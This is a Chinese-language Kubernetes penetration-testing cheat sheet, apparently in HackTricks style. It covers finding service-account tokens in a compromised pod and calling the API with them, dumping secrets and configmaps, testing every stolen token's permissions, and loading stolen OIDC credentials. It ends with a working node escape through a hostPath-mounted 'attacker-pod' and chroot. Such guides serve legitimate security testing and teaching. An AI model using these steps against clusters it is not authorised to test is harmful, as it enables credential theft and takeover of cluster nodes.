Kubernetes Tokens
如果你已经获得了对某台机器的访问权限,用户可能会访问某些 Kubernetes 平台。令牌通常位于 env var KUBECONFIG
指向的文件中或 在 ~/.kube
内 。
在这个文件夹中,你可能会找到包含 连接到 API 服务器的令牌和配置的配置文件 。在这个文件夹中,你还可以找到一个缓存文件夹,里面有之前检索的信息。
如果你已经在 Kubernetes 环境中攻陷了一个 pod,还有其他地方可以找到令牌和当前 K8 环境的信息:
Service Account Tokens
在继续之前,如果你不知道 Kubernetes 中的服务是什么,我建议你 点击此链接并至少阅读有关 Kubernetes 架构的信息。
摘自 Kubernetes 文档 :
“当你创建一个 pod 时,如果你没有指定服务账户,它会自动分配同一命名空间中的 default 服务账户。”
ServiceAccount 是一个由 Kubernetes 管理的对象,用于为在 pod 中运行的进程提供身份。
每个服务账户都有一个与之相关的秘密,这个秘密包含一个承载令牌。这是一个 JSON Web Token (JWT),用于在两个方之间安全地表示声明。
通常 一个 目录:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
包含以下文件:
ca.crt : 用于检查 Kubernetes 通信的 CA 证书
现在你有了令牌,可以在环境变量 KUBECONFIG
中找到 API 服务器。有关更多信息,请运行 (env | set) | grep -i "kuber|kube
"
服务账户令牌由位于文件 sa.key 中的密钥签名,并由 sa.pub 验证。
在 Kubernetes 的默认位置:
在 Minikube 的默认位置:
Hot Pods
Hot pods 是 包含特权服务账户令牌的 pods。特权服务账户令牌是具有执行特权任务权限的令牌,例如列出秘密、创建 pods 等。
RBAC
如果你不知道 RBAC 是什么,请阅读这一部分 。
GUI Applications
Enumeration CheatSheet
为了枚举 K8s 环境,你需要以下几项:
一个 有效的身份验证令牌 。在上一节中,我们看到了在哪里搜索用户令牌和服务账户令牌。
Kubernetes API 的地址 (https://host:port )。这通常可以在环境变量和/或 kube 配置文件中找到。
可选 : ca.crt 用于验证 API 服务器 。这可以在与令牌相同的地方找到。这对于验证 API 服务器证书很有用,但使用 --insecure-skip-tls-verify
与 kubectl
或 -k
与 curl
时,你不需要这个。
有了这些细节,你可以 枚举 Kubernetes 。如果 API 出于某种原因通过 互联网 可访问 ,你可以直接下载该信息并从你的主机枚举平台。
然而,通常 API 服务器位于内部网络中 ,因此你需要 通过被攻陷的机器创建一个隧道 以从你的机器访问它,或者你可以 上传 kubectl 二进制文件,或使用 curl/wget/anything
对 API 服务器执行原始 HTTP 请求。
Differences between list
and get
verbs
使用 get
权限,你可以访问特定资产的信息(describe
选项在 kubectl
中 )API:
Copy GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
如果您拥有 list
权限,则可以执行 API 请求以列出某种资产(kubectl
中的 get
选项 ):
Copy #In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
如果您拥有 watch
权限,则可以执行 API 请求以监视资产:
Copy GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
他们打开一个流连接,每当 Deployment 发生变化(或创建新的 Deployment 时)就会返回完整的清单。
以下 kubectl
命令仅指示如何列出对象。如果您想访问数据,您需要使用 describe
而不是 get
使用 curl
在 pod 内部,您可以使用多个环境变量:
Copy export APISERVER = ${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT = /var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE = $( cat ${SERVICEACCOUNT} /namespace )
export TOKEN = $( cat ${SERVICEACCOUNT} /token )
export CACERT = ${SERVICEACCOUNT}/ca.crt
alias kurl = "curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
默认情况下,pod 可以 访问 域名为 kubernetes.default.svc
的 kube-api 服务器 ,您可以在 /etc/resolv.config
中看到 kube 网络,在这里您将找到 kubernetes DNS 服务器的地址(同一范围的 ".1" 是 kube-api 端点)。
使用 kubectl
拥有令牌和 API 服务器地址后,您可以使用 kubectl 或 curl 访问它,如下所示:
默认情况下,APISERVER 使用 https://
协议进行通信
Copy alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
如果 URL 中没有 https://
,您可能会收到类似于错误请求的错误。
您可以在这里找到官方的 kubectl 备忘单 。以下部分的目标是以有序的方式展示不同的选项,以枚举和理解您已获得访问权限的新 K8s。
要找到 kubectl
发送的 HTTP 请求,您可以使用参数 -v=8
MitM kubectl - 代理 kubectl
Copy # Launch burp
# Set proxy
export HTTP_PROXY = http://localhost:8080
export HTTPS_PROXY = http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
当前配置
Kubectl
Copy kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace= < namespace >
如果你成功窃取了一些用户凭据,你可以使用类似的方式在本地配置它们 :
Copy kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg = client-id = ( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg = refresh-token = ( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg = id-token = ( your id_token )
获取支持的资源
通过这些信息,您将知道可以列出所有服务
kubectl
Copy k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
获取当前权限
kubectl API
Copy k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount: < namespace > : < sa_name > -n < namespac e >
Copy kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
检查您的权限的另一种方法是使用工具: https://github.com/corneliusweig/rakkess ****
您可以在以下内容中了解更多关于 Kubernetes RBAC 的信息:
Kubernetes Role-Based Access Control(RBAC) 一旦您知道自己拥有的权限 ,请查看以下页面以确定 您是否可以利用这些权限 来提升权限:
Abusing Roles/ClusterRoles in Kubernetes 获取其他角色
kubectl API
Copy k get roles
k get clusterroles
API
Copy kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
获取命名空间
Kubernetes 支持 多个虚拟集群 ,这些虚拟集群由同一个物理集群支持。这些虚拟集群称为 命名空间 。
kubectl API
API
Copy kurl -k -v https:// $APISERVER /api/v1/namespaces/
获取秘密
kubectl API
Copy k get secrets -o yaml
k get secrets -o yaml -n custnamespace
Copy kurl -v https:// $APISERVER /api/v1/namespaces/default/secrets/
kurl -v https:// $APISERVER /api/v1/namespaces/custnamespace/secrets/
如果您可以读取秘密,您可以使用以下行获取与每个令牌相关的权限:
Copy for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
获取服务账户
如本页开头所述,当一个 pod 运行时,通常会分配一个服务账户给它 。因此,列出服务账户、它们的权限以及它们运行的位置可能允许用户提升权限。
kubectl API
Copy k get serviceaccounts
API
Copy kurl -k -v https:// $APISERVER /api/v1/namespaces/{namespace}/serviceaccounts
获取部署
部署指定了需要运行 的组件 。
kubectl API
Copy k get deployments
k get deployments -n custnamespace
API
Copy kurl -v https:// $APISERVER /api/v1/namespaces/ < namespac e > /deployments/
获取 Pods
Pods 是实际将要 运行 的 容器 。
kubectl API
Copy k get pods
k get pods -n custnamespace
Copy kurl -v https:// $APISERVER /api/v1/namespaces/ < namespac e > /pods/
获取服务
Kubernetes 服务 用于在特定端口和 IP 上暴露服务 (这将充当实际提供服务的 pod 的负载均衡器)。了解在哪里可以找到其他服务以尝试攻击是很有趣的。
kubectl API
Copy k get services
k get services -n custnamespace
API
Copy kurl -v https:// $APISERVER /api/v1/namespaces/default/services/
获取节点
获取集群内配置的所有节点 。
kubectl API
Copy kurl -v https:// $APISERVER /api/v1/nodes/
获取 DaemonSets
DaeamonSets 允许确保 特定的 pod 在集群的所有节点上运行 (或在选定的节点上)。如果您删除 DaemonSet,受其管理的 pods 也将被删除。
kubectl API
Copy kurl -v https:// $APISERVER /apis/extensions/v1beta1/namespaces/default/daemonsets
获取 cronjob
Cron jobs 允许使用类似 crontab 的语法调度启动一个将执行某些操作的 pod。
kubectl API
API
Copy kurl -v https:// $APISERVER /apis/batch/v1beta1/namespaces/ < namespac e > /cronjobs
获取 configMap
configMap 通常包含大量信息和配置文件,这些文件提供给在 Kubernetes 中运行的应用程序。通常,您可以找到许多用于连接和验证其他内部/外部服务的密码、秘密和令牌。
kubectl API
Copy k get configmaps # -n namespace
Copy kurl -v https:// $APISERVER /api/v1/namespaces/ ${NAMESPACE} /configmaps
获取网络策略 / Cilium 网络策略
第一个标签
Copy k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
获取所有内容 / 全部
获取所有由 helm 管理的资源
kubectl
Copy k get all --all-namespaces -l= 'app.kubernetes.io/managed-by=Helm'
获取 Pods 消耗
kubectl
Copy k top pod --all-namespaces
从 pod 中逃逸
如果您能够创建新的 pod,您可能能够从中逃逸到节点。为此,您需要使用 yaml 文件创建一个新 pod,切换到创建的 pod,然后 chroot 进入节点的系统。您可以使用已经存在的 pod 作为 yaml 文件的参考,因为它们显示了现有的镜像和路径。
Copy kubectl get pod < nam e > [-n < namespac e > ] -o yaml
如果您需要在特定节点上创建 pod,可以使用以下命令获取节点上的标签
k get nodes --show-labels
通常,kubernetes.io/hostname 和 node-role.kubernetes.io/master 是选择的好标签。
然后您创建您的 attack.yaml 文件
Copy apiVersion : v1
kind : Pod
metadata :
labels :
run : attacker-pod
name : attacker-pod
namespace : default
spec :
volumes :
- name : host-fs
hostPath :
path : /
containers :
- image : ubuntu
imagePullPolicy : Always
name : attacker-pod
command : [ "/bin/sh" , "-c" , "sleep infinity" ]
volumeMounts :
- name : host-fs
mountPath : /root
restartPolicy : Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
original yaml source
之后你创建 pod
Copy kubectl apply -f attacker.yaml [-n < namespac e > ]
现在您可以按如下方式切换到创建的 pod
Copy kubectl exec -it attacker-pod [-n < namespac e > ] -- sh # attacker-pod is the name defined in the yaml file
最后,你 chroot 进入节点的系统
Copy chroot /root /bin/bash
信息来源:Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
参考文献